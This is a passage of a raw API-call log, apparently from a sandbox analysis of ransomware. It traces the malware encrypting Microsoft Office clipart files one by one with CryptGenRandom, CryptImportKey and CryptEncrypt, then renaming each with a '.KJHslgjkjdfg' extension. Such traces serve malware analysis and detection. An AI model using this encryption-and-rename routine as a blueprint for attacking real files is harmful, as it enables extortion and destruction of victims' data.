dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.848] GetProcessHeap () returned 0x2ef0000 [0205.848] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.848] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.848] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.848] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.848] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.848] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.848] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.848] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.849] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.849] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.849] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x43c5, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x43c5, lpOverlapped=0x0) returned 1 [0205.849] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x43d0, dwBufLen=0x43d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x43d0) returned 1 [0205.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.850] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x43d0, lpOverlapped=0x0) returned 1 [0205.850] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x44a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.850] SetEndOfFile (hFile=0x130) returned 1 [0205.853] GetProcessHeap () returned 0x2ef0000 [0205.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.853] GetProcessHeap () returned 0x2ef0000 [0205.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.kjhslgjkjdfg")) returned 1 [0205.854] CloseHandle (hObject=0x130) returned 1 [0205.855] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1 [0205.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.857] GetProcessHeap () returned 0x2ef0000 [0205.857] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.857] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.857] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0205.859] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.859] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.859] GetProcessHeap () returned 0x2ef0000 [0205.859] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.859] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.859] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.859] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.859] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.859] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.859] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.860] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.860] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.860] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8d86, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8d86, lpOverlapped=0x0) returned 1 [0205.863] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8d90, dwBufLen=0x8d90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8d90) returned 1 [0205.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.864] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8d90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8d90, lpOverlapped=0x0) returned 1 [0205.864] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.864] SetEndOfFile (hFile=0x130) returned 1 [0205.867] GetProcessHeap () returned 0x2ef0000 [0205.867] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.867] GetProcessHeap () returned 0x2ef0000 [0205.867] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.867] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.kjhslgjkjdfg")) returned 1 [0205.868] CloseHandle (hObject=0x130) returned 1 [0205.868] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1 [0205.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.869] GetProcessHeap () returned 0x2ef0000 [0205.869] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.869] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.869] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0205.872] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.872] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.872] GetProcessHeap () returned 0x2ef0000 [0205.872] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.872] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.872] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.872] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.872] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.873] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.873] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.873] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2d21, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2d21, lpOverlapped=0x0) returned 1 [0205.874] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d30, dwBufLen=0x2d30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d30) returned 1 [0205.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.874] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d30, lpOverlapped=0x0) returned 1 [0205.874] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.874] SetEndOfFile (hFile=0x130) returned 1 [0205.877] GetProcessHeap () returned 0x2ef0000 [0205.877] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.877] GetProcessHeap () returned 0x2ef0000 [0205.877] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.kjhslgjkjdfg")) returned 1 [0205.879] CloseHandle (hObject=0x130) returned 1 [0205.879] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1 [0205.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.880] GetProcessHeap () returned 0x2ef0000 [0205.880] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.880] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.880] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.880] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0205.884] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.884] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.884] GetProcessHeap () returned 0x2ef0000 [0205.884] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.884] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.884] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.884] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.884] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.884] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.884] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.884] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.884] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.885] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.885] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9e8a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9e8a, lpOverlapped=0x0) returned 1 [0205.899] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9e90, dwBufLen=0x9e90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9e90) returned 1 [0205.899] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.899] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9e90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9e90, lpOverlapped=0x0) returned 1 [0205.899] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.899] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.899] SetEndOfFile (hFile=0x130) returned 1 [0205.902] GetProcessHeap () returned 0x2ef0000 [0205.902] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.902] GetProcessHeap () returned 0x2ef0000 [0205.902] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.kjhslgjkjdfg")) returned 1 [0205.903] CloseHandle (hObject=0x130) returned 1 [0205.904] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1 [0205.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.905] GetProcessHeap () returned 0x2ef0000 [0205.905] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.905] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.905] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.905] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.905] GetProcessHeap () returned 0x2ef0000 [0205.905] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.905] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.905] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.905] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.909] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.910] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 